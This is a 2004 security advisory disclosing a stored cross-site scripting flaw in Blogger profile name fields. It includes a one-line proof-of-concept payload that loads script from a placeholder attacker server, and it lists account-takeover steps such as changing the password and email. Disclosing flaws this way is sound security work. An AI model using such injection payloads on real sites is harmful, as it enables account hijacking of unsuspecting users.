Blogger XSS Vulnerability

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BLOGGER XSS VULNERABILITY
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Online URL : http://ferruh.mavituna.com/article/?470
Severity : Moderately Critical for Members (Permanent Account Hijacking)

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ABOUT BLOGGER;
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Blogger is a web-based tool that helps you publish to the web instantly -- whenever the urge strikes. Blogger is the leading tool in the rapidly growing area of web publishing known as weblogs, or "blogs."

by Google (Pyra Labs acquired by Google)

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XSS DETAILS;
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There is no HTML filter when rendering user profiles. So anyone can inject a script into a profile's "First Name" "Last Name" etc.

If you inject a code into "First Name" this will be print and run in users's first page [www.blogger.com], so an attacker can easily gain victim's account.



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	Proof Of Concept;
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	Inject [script src="http://[ATTACKER-SERVER]/EVIL-JS/"][/script] to victim "First Name"
	Now you can execute anything in remote.

	After login as your victim;
		  I. You can change password (without old password)
		 II. You can change e-mail address without any confirmation
		III. You can own the victim blogs

	
	*Replace ][,<>
	*Script injection is limited to 50 characters (but it's pretty enough to add js script)


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HISTORY;
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Discovered : 2/22/2004
Vendor Informed : 2/25/2004
Published : 3/26/2004

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VENDOR STATUS;
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Contact established with Google but there is no answer.

Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com
ferruh[at]mavituna.com